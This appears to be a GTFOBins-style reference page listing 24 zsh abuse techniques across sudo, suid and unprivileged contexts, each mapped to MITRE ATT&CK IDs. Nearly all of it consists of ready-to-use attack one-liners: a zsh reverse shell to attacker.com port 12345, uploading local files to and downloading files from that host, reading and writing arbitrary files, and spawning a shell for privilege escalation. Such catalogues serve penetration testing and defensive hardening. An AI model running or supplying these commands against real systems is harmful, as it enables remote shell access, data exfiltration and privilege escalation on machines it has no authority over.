GTFO · Tool

zsh

24 techniques Linux · macOSGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation LinuxmacOS

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'

Context: sudo
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/zsh/

download

File DownloadPrivilege Escalation LinuxmacOS

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'

Context: suid
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/zsh/

download

File Download LinuxmacOS

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'

Context: unprivileged
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/zsh/

file-read

File ReadPrivilege Escalation LinuxmacOS

zsh -c 'echo "$(</path/to/input-file)"'

Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/zsh/

file-read

File ReadPrivilege Escalation LinuxmacOS

zsh -c 'echo "$(</path/to/input-file)"'

Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/zsh/

file-read

File Read LinuxmacOS

zsh -c 'echo "$(</path/to/input-file)"'

Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/zsh/

file-read

File ReadPrivilege Escalation LinuxmacOS

This spawns a pager if run in a TTY.

zsh -c '</path/to/input-file'

Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/zsh/

file-read

File ReadPrivilege Escalation LinuxmacOS

This spawns a pager if run in a TTY.

zsh -c '</path/to/input-file'

Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/zsh/

file-read

File Read LinuxmacOS

This spawns a pager if run in a TTY.

zsh -c '</path/to/input-file'

Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/zsh/

file-write

File WritePrivilege Escalation LinuxmacOS

zsh -c 'echo DATA >/path/to/output-file'

Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/zsh/

file-write

File WritePrivilege Escalation LinuxmacOS

zsh -c 'echo DATA >/path/to/output-file'

Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/zsh/

file-write

File Write LinuxmacOS

zsh -c 'echo DATA >/path/to/output-file'

Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/zsh/

inherit ← less

ExecutionFile ReadFile WritePrivilege Escalation LinuxmacOS

zsh -c '</etc/hosts'

Context: sudo
Native: inherit, from:less
MITRE: T1059 T1005 T1565
Refs: gtfobins.github.io/gtfobins/zsh/

inherit ← less

ExecutionFile ReadFile WritePrivilege Escalation LinuxmacOS

zsh -c '</etc/hosts'

Context: suid
Native: inherit, from:less
MITRE: T1059 T1005 T1565
Refs: gtfobins.github.io/gtfobins/zsh/

inherit ← less

ExecutionFile ReadFile Write LinuxmacOS

zsh -c '</etc/hosts'

Context: unprivileged
Native: inherit, from:less
MITRE: T1059 T1005 T1565
Refs: gtfobins.github.io/gtfobins/zsh/

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Context: sudo
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/zsh/

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Context: suid
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/zsh/

reverse-shell

Reverse/Bind Shell LinuxmacOS

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Context: unprivileged
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/zsh/

shell

ExecutionPrivilege Escalation LinuxmacOS

zsh

Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/zsh/

shell

ExecutionPrivilege Escalation LinuxmacOS

zsh

Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/zsh/

shell

Execution LinuxmacOS

zsh

Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/zsh/

upload

File UploadPrivilege Escalation LinuxmacOS

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'

Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/zsh/

upload

File UploadPrivilege Escalation LinuxmacOS

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'

Context: suid
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/zsh/

upload

File Upload LinuxmacOS

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'

Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/zsh/